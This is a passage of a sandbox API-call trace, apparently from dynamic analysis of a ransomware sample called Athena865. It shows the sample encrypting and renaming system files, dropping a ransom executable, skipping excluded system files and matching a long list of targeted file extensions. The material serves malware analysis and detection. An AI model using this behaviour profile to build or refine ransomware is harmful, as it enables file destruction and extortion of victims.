[0048.026] lstrcmpiW (lpString1="Viewer.dll", lpString2="dadiagrams") returned 1 [0048.026] lstrlenW (lpString="daschema") returned 8 [0048.026] lstrcmpiW (lpString1="ewer.dll", lpString2="daschema") returned 1 [0048.026] lstrlenW (lpString="db-journal") returned 10 [0048.026] lstrcmpiW (lpString1="Viewer.dll", lpString2="db-journal") returned 1 [0048.026] lstrlenW (lpString="db-shm") returned 6 [0048.026] lstrcmpiW (lpString1="er.dll", lpString2="db-shm") returned 1 [0048.026] lstrlenW (lpString="db-wal") returned 6 [0048.026] lstrcmpiW (lpString1="er.dll", lpString2="db-wal") returned 1 [0048.026] lstrlenW (lpString="dbc") returned 3 [0048.026] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0048.026] lstrlenW (lpString="dbs") returned 3 [0048.026] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0048.026] lstrlenW (lpString="dbt") returned 3 [0048.026] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0048.026] lstrlenW (lpString="dbv") returned 3 [0048.026] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0048.026] lstrlenW (lpString="dbx") returned 3 [0048.026] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0048.026] lstrlenW (lpString="dcb") returned 3 [0048.026] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0048.026] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll.Athena865") returned 69 [0048.026] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" (normalized: "c:\\program files (x86)\\windows photo viewer\\photoviewer.dll"), lpNewFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\photoviewer.dll.athena865"), dwFlags=0x1) returned 1 [0048.027] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll.Athena865" (normalized: "c:\\program files (x86)\\windows photo viewer\\photoviewer.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0048.027] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1456128) returned 1 [0048.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0048.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d4f8 [0048.027] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5192b0 [0048.027] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519338) returned 1 [0048.028] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0048.028] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.028] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x163b00, lpName=0x0) returned 0x154 [0048.032] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x163b00) returned 0x2d50000 [0048.101] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519338) returned 1 [0048.102] CryptGenRandom (in: hProv=0x519338, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0048.102] CryptReleaseContext (hProv=0x519338, dwFlags=0x0) returned 1 [0048.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0048.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0048.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x528208 [0048.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0048.102] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x528208 | out: hHeap=0x4f0000) returned 1 [0048.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0048.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x523fa0 [0048.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0048.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x523fa0 | out: hHeap=0x4f0000) returned 1 [0048.103] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0048.103] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0048.115] CloseHandle (hObject=0x154) returned 1 [0048.115] CloseHandle (hObject=0x17c) returned 1 [0048.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d4f8 | out: hHeap=0x4f0000) returned 1 [0048.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5192b0 | out: hHeap=0x4f0000) returned 1 [0048.115] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0048.122] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb66ea407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb66ea407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6710567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x163800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0 [0048.122] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0048.122] ReleaseMutex (hMutex=0xec) returned 1 [0048.122] CloseHandle (hObject=0xec) returned 1 [0048.122] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Windows Portable Devices" | out: lpString1="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices" [0048.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51b128 | out: hHeap=0x4f0000) returned 1 [0048.122] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50da60 | out: hHeap=0x4f0000) returned 1 [0048.122] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Portable Devices") returned 47 [0048.122] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\A2E0E9F4ED1E465C20EBEA7146047EEF") returned 0xec [0048.122] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0048.122] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Portable Devices" | out: lpString1="C:\\Program Files (x86)\\Windows Portable Devices") returned="C:\\Program Files (x86)\\Windows Portable Devices" [0048.122] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0048.122] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Portable Devices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\how to back your files.exe"), bFailIfExists=1) returned 0 [0048.123] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0048.123] GetLastError () returned 0x0 [0048.123] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0048.123] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x532d08 [0048.123] ReadFile (in: hFile=0xf4, lpBuffer=0x532d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x532d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0048.124] CloseHandle (hObject=0xf4) returned 1 [0048.124] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x532d08 | out: hHeap=0x4f0000) returned 1 [0048.124] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0048.124] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc5bcc40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5bcc40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0048.124] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.124] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.124] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.124] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbc5bcc40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5bcc40, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.124] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0048.124] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0048.124] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.124] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.124] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5bcc40, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5bcc40, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0048.124] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0048.124] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb42e9705, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb42e9705, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb430f865, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2e600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0048.124] lstrcmpiW (lpString1="sqmapi.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0048.124] lstrcmpiW (lpString1="sqmapi.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0048.124] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".") returned 1 [0048.124] lstrcmpiW (lpString1="sqmapi.dll", lpString2="..") returned 1 [0048.124] lstrcmpiW (lpString1="sqmapi.dll", lpString2="windows") returned -1 [0048.124] lstrcmpiW (lpString1="sqmapi.dll", lpString2="bootmgr") returned 1 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2="temp") returned -1 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2="pagefile.sys") returned 1 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2="boot") returned 1 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ids.txt") returned 1 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2="ntuser.dat") returned 1 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2="perflogs") returned 1 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2="MSBuild") returned 1 [0048.125] lstrlenW (lpString="sqmapi.dll") returned 10 [0048.125] lstrcpyW (in: lpString1=0x241e8a8, lpString2="sqmapi.dll" | out: lpString1="sqmapi.dll") returned="sqmapi.dll" [0048.125] lstrlenW (lpString="sqmapi.dll") returned 10 [0048.125] lstrlenW (lpString="Athena865") returned 9 [0048.125] lstrcmpiW (lpString1="qmapi.dll", lpString2="Athena865") returned 1 [0048.125] lstrlenW (lpString=".dll") returned 4 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".dll") returned 1 [0048.125] lstrlenW (lpString=".lnk") returned 4 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".lnk") returned 1 [0048.125] lstrlenW (lpString=".ini") returned 4 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".ini") returned 1 [0048.125] lstrlenW (lpString=".sys") returned 4 [0048.125] lstrcmpiW (lpString1="sqmapi.dll", lpString2=".sys") returned 1 [0048.125] lstrlenW (lpString="sqmapi.dll") returned 10 [0048.125] lstrlenW (lpString="bak") returned 3 [0048.125] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0048.125] lstrlenW (lpString="ba_") returned 3 [0048.125] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0048.125] lstrlenW (lpString="dbb") returned 3 [0048.125] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0048.125] lstrlenW (lpString="vmdk") returned 4 [0048.125] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0048.125] lstrlenW (lpString="rar") returned 3 [0048.125] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0048.125] lstrlenW (lpString="zip") returned 3 [0048.125] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0048.125] lstrlenW (lpString="tgz") returned 3 [0048.125] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0048.125] lstrlenW (lpString="vbox") returned 4 [0048.126] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0048.126] lstrlenW (lpString="vdi") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0048.126] lstrlenW (lpString="vhd") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0048.126] lstrlenW (lpString="vhdx") returned 4 [0048.126] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0048.126] lstrlenW (lpString="avhd") returned 4 [0048.126] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0048.126] lstrlenW (lpString="db") returned 2 [0048.126] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0048.126] lstrlenW (lpString="db2") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0048.126] lstrlenW (lpString="db3") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0048.126] lstrlenW (lpString="dbf") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0048.126] lstrlenW (lpString="mdf") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0048.126] lstrlenW (lpString="mdb") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0048.126] lstrlenW (lpString="sql") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0048.126] lstrlenW (lpString="sqlite") returned 6 [0048.126] lstrcmpiW (lpString1="pi.dll", lpString2="sqlite") returned -1 [0048.126] lstrlenW (lpString="sqlite3") returned 7 [0048.126] lstrcmpiW (lpString1="api.dll", lpString2="sqlite3") returned -1 [0048.126] lstrlenW (lpString="sqlitedb") returned 8 [0048.126] lstrcmpiW (lpString1="mapi.dll", lpString2="sqlitedb") returned -1 [0048.126] lstrlenW (lpString="xml") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0048.126] lstrlenW (lpString="$er") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0048.126] lstrlenW (lpString="4dd") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0048.126] lstrlenW (lpString="4dl") returned 3 [0048.126] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0048.127] lstrlenW (lpString="^^^") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0048.127] lstrlenW (lpString="abs") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0048.127] lstrlenW (lpString="abx") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0048.127] lstrlenW (lpString="accdb") returned 5 [0048.127] lstrcmpiW (lpString1="i.dll", lpString2="accdb") returned 1 [0048.127] lstrlenW (lpString="accdc") returned 5 [0048.127] lstrcmpiW (lpString1="i.dll", lpString2="accdc") returned 1 [0048.127] lstrlenW (lpString="accde") returned 5 [0048.127] lstrcmpiW (lpString1="i.dll", lpString2="accde") returned 1 [0048.127] lstrlenW (lpString="accdr") returned 5 [0048.127] lstrcmpiW (lpString1="i.dll", lpString2="accdr") returned 1 [0048.127] lstrlenW (lpString="accdt") returned 5 [0048.127] lstrcmpiW (lpString1="i.dll", lpString2="accdt") returned 1 [0048.127] lstrlenW (lpString="accdw") returned 5 [0048.127] lstrcmpiW (lpString1="i.dll", lpString2="accdw") returned 1 [0048.127] lstrlenW (lpString="accft") returned 5 [0048.127] lstrcmpiW (lpString1="i.dll", lpString2="accft") returned 1 [0048.127] lstrlenW (lpString="adb") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0048.127] lstrlenW (lpString="adb") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0048.127] lstrlenW (lpString="ade") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0048.127] lstrlenW (lpString="adf") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0048.127] lstrlenW (lpString="adn") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0048.127] lstrlenW (lpString="adp") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0048.127] lstrlenW (lpString="alf") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0048.127] lstrlenW (lpString="ask") returned 3 [0048.127] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0048.127] lstrlenW (lpString="btr") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0048.128] lstrlenW (lpString="cat") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0048.128] lstrlenW (lpString="cdb") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0048.128] lstrlenW (lpString="ckp") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0048.128] lstrlenW (lpString="cma") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0048.128] lstrlenW (lpString="cpd") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0048.128] lstrlenW (lpString="dacpac") returned 6 [0048.128] lstrcmpiW (lpString1="pi.dll", lpString2="dacpac") returned 1 [0048.128] lstrlenW (lpString="dad") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0048.128] lstrlenW (lpString="dadiagrams") returned 10 [0048.128] lstrlenW (lpString="daschema") returned 8 [0048.128] lstrcmpiW (lpString1="mapi.dll", lpString2="daschema") returned 1 [0048.128] lstrlenW (lpString="db-journal") returned 10 [0048.128] lstrlenW (lpString="db-shm") returned 6 [0048.128] lstrcmpiW (lpString1="pi.dll", lpString2="db-shm") returned 1 [0048.128] lstrlenW (lpString="db-wal") returned 6 [0048.128] lstrcmpiW (lpString1="pi.dll", lpString2="db-wal") returned 1 [0048.128] lstrlenW (lpString="dbc") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0048.128] lstrlenW (lpString="dbs") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0048.128] lstrlenW (lpString="dbt") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0048.128] lstrlenW (lpString="dbv") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0048.128] lstrlenW (lpString="dbx") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0048.128] lstrlenW (lpString="dcb") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0048.128] lstrlenW (lpString="dct") returned 3 [0048.128] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0048.129] lstrlenW (lpString="dcx") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0048.129] lstrlenW (lpString="ddl") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0048.129] lstrlenW (lpString="dlis") returned 4 [0048.129] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0048.129] lstrlenW (lpString="dp1") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0048.129] lstrlenW (lpString="dqy") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0048.129] lstrlenW (lpString="dsk") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0048.129] lstrlenW (lpString="dsn") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0048.129] lstrlenW (lpString="dtsx") returned 4 [0048.129] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0048.129] lstrlenW (lpString="dxl") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0048.129] lstrlenW (lpString="eco") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0048.129] lstrlenW (lpString="ecx") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0048.129] lstrlenW (lpString="edb") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0048.129] lstrlenW (lpString="epim") returned 4 [0048.129] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0048.129] lstrlenW (lpString="fcd") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0048.129] lstrlenW (lpString="fdb") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0048.129] lstrlenW (lpString="fic") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0048.129] lstrlenW (lpString="flexolibrary") returned 12 [0048.129] lstrlenW (lpString="fm5") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0048.129] lstrlenW (lpString="fmp") returned 3 [0048.129] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0048.130] lstrlenW (lpString="fmp12") returned 5 [0048.130] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1 [0048.130] lstrlenW (lpString="fmpsl") returned 5 [0048.130] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1 [0048.130] lstrlenW (lpString="fol") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0048.130] lstrlenW (lpString="fp3") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0048.130] lstrlenW (lpString="fp4") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0048.130] lstrlenW (lpString="fp5") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0048.130] lstrlenW (lpString="fp7") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0048.130] lstrlenW (lpString="fpt") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0048.130] lstrlenW (lpString="frm") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0048.130] lstrlenW (lpString="gdb") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0048.130] lstrlenW (lpString="gdb") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0048.130] lstrlenW (lpString="grdb") returned 4 [0048.130] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0048.130] lstrlenW (lpString="gwi") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0048.130] lstrlenW (lpString="hdb") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0048.130] lstrlenW (lpString="his") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0048.130] lstrlenW (lpString="ib") returned 2 [0048.130] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0048.130] lstrlenW (lpString="idb") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0048.130] lstrlenW (lpString="ihx") returned 3 [0048.130] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0048.130] lstrlenW (lpString="itdb") returned 4 [0048.131] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0048.131] lstrlenW (lpString="itw") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0048.131] lstrlenW (lpString="jet") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0048.131] lstrlenW (lpString="jtx") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0048.131] lstrlenW (lpString="kdb") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0048.131] lstrlenW (lpString="kexi") returned 4 [0048.131] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0048.131] lstrlenW (lpString="kexic") returned 5 [0048.131] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1 [0048.131] lstrlenW (lpString="kexis") returned 5 [0048.131] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1 [0048.131] lstrlenW (lpString="lgc") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0048.131] lstrlenW (lpString="lwx") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0048.131] lstrlenW (lpString="maf") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0048.131] lstrlenW (lpString="maq") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0048.131] lstrlenW (lpString="mar") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0048.131] lstrlenW (lpString="marshal") returned 7 [0048.131] lstrcmpiW (lpString1="api.dll", lpString2="marshal") returned -1 [0048.131] lstrlenW (lpString="mas") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0048.131] lstrlenW (lpString="mav") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0048.131] lstrlenW (lpString="maw") returned 3 [0048.131] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0048.131] lstrlenW (lpString="mdbhtml") returned 7 [0048.131] lstrcmpiW (lpString1="api.dll", lpString2="mdbhtml") returned -1 [0048.131] lstrlenW 